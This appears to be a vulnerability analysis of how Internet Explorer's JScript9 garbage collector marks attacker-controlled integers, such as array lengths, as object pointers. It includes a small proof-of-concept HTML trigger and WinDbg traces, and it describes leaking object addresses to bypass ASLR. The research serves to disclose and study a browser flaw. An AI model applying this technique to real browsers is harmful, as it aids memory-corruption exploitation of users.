Since IE9, Javascript date uses 1 bit to mark *num* and *object* pointer. However, in most object structures, there are data field that does not use the bit to mark. IE Mark Sweep algorithm JSCRIPT9!Recycler::ProcessMark will mark the object in the structure. Because this is a general class, it cannot process correctly the num in the object structure that does not have the marked bit. Therefore, JSCRIPT9!Recycler::ProcessMark will wrongly think these num are object pointers and mark the wrong tag. This will cause some objects cannot be released correctly, and may also leak the object address to bypass ASLR. If the garbaby collection contains the code to *defrag* memory blocks, it might lead to potential more serious issues such as buffer overrun due to the incorrect operation of the object pointers (which should be a num).
Details:
gc.html:
<!doctype html>
<html>
<head></head>
<body>
<script>
var myarray = new Array(0x12340);
myarray[0]=1;
alert("begin!");
JSON.stringify(new Array(0x100000));
</script>
</body>
</html>
Poc creates an object array. Alert is for tracking. JSON.stringify allocates lots of memory to trigger gc. Observe how gc handles object array.
0:008:x86> g 63138e76
Breakpoint 1 hit
JSCRIPT9!Js::JavascriptArray::NewInstance+0xf3:
63138e76 c706c82d0a63 mov dword ptr [esi],offset JSCRIPT9!Js::JavascriptA
rray::`vftable' (630a2dc8) ds:002b:05384580={JSCRIPT9!Js::DynamicObject::`vftabl
e' (630a27d8)}
0:008:x86> t
JSCRIPT9!Js::JavascriptArray::NewInstance+0xf9:
63138e7c c7461c00000000 mov dword ptr [esi+1Ch],0 ds:002b:0538459c=00000000
0:008:x86> t
JSCRIPT9!Js::JavascriptArray::NewInstance+0x100:
63138e83 8b4004 mov eax,dword ptr [eax+4] ds:002b:05388aa4=00b0fb03
0:008:x86> t
JSCRIPT9!Js::JavascriptArray::NewInstance+0x103:
63138e86 8b4004 mov eax,dword ptr [eax+4] ds:002b:03fbb004=98a9b502
0:008:x86> t
JSCRIPT9!Js::JavascriptArray::NewInstance+0x106:
63138e89 8b9064040000 mov edx,dword ptr [eax+464h] ds:002b:02b5adfc=f0b1b
502
0:008:x86> t
JSCRIPT9!Js::JavascriptArray::NewInstance+0x10c:
63138e8f 895e10 mov dword ptr [esi+10h],ebx ds:002b:05384590=000000
00
0:008:x86> t
JSCRIPT9!Js::JavascriptArray::NewInstance+0x10f:
63138e92 85db test ebx,ebx
0:008:x86> d esi l 20
05384580 c8 2d 0a 63 a0 8a 38 05-00 00 00 00 03 00 00 00 .-.c..8.........
05384590 40 23 01 00 00 00 00 00-00 00 00 00 00 00 00 00 @#..............
0:008:x86> u poi(esi)
JSCRIPT9!Js::JavascriptArray::`vftable':
630a2dc8 89750a mov dword ptr [ebp+0Ah],esi
630a2dcb 6389750a6389 arpl word ptr [ecx-769CF58Bh],cx
630a2dd1 750a jne JSCRIPT9!Js::JavascriptArray::`vftable'+0x15 (6
30a2ddd)
630a2dd3 63857d0a637a arpl word ptr [ebp+7A630A7Dh],ax
630a2dd9 2028 and byte ptr [eax],ch
630a2ddb 63642028 arpl word ptr [eax+28h],sp
630a2ddf 634312 arpl word ptr [ebx+12h],ax
630a2de2 1963a2 sbb dword ptr [ebx-5Eh],esp
0:008:x86> u poi(poi(esi))
JSCRIPT9!JsUtil::BackgroundJobProcessor::AssociatePageAllocator:
630a7589 c20400 ret 4
Esi is the pointer of object array. 0x630a2dc8 points to vtable Js::JavascriptArray::`vftable'
poi(esi+0x10) is the array length, which can be controlled by the attacker. We can see later that in GC’s collection algorithm, it marks the entire objects when doing marking, instead of check details inside object layout.
0:008:x86> ba r4 esi
0:008:x86> ba r4 esi+10
Set breakpoint of array object vtable and length, run g, ignore intermediate breakpoint till alert pops up.
You can see GC algorithm try to mark the vtable and length and other num values to be object type.
You can see Recycler::ProcessMark now handle the object array
0:017:x86> g
Breakpoint 1 hit
JSCRIPT9!Recycler::ProcessMark+0x82:
631026b5 895c2418 mov dword ptr [esp+18h],ebx ss:002b:07e0f9d8=030000
00
0:017:x86> r
eax=053845a0 ebx=00012340 ecx=02b5b1f0 edx=00000400 esi=02ba3660 edi=05384590
eip=631026b5 esp=07e0f9c0 ebp=07e0f9f0 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287
JSCRIPT9!Recycler::ProcessMark+0x82:
631026b5 895c2418 mov dword ptr [esp+18h],ebx ss:002b:07e0f9d8=030000
00
Continue, GC algorithm processes the array length field which is totally controlled by the attacker.
Analyze Recycler::ProcessMark:
Check if it is object pointer (〉0x10000, lower 4 bit is 0). If it is object pointer, check list till the mark table of the object and mark the object. If it is marked, then it means there are pending references so the sweep would release the object.
Other objects, the object reference area inside object such as the value of the array, during object’s own processing, it would mark the lower bits of these values to be object pointer (last bit 0) or num (last bit 1). However, object itself does not differentiate the object reference area and internal member. GC mark algorithm mistakenly marks the object internal member as object type. The attacker can control directly or indirectly the object member variable, via Fuzz, so that GC will not mark correctly. This will cause some objects cannot be released correctly, and may also leak the object address to bypass ASLR. If the garbaby collection contains the code to *defrag* memory blocks, it might lead to potential more serious issues such as buffer overrun due to the incorrect operation of the object pointers.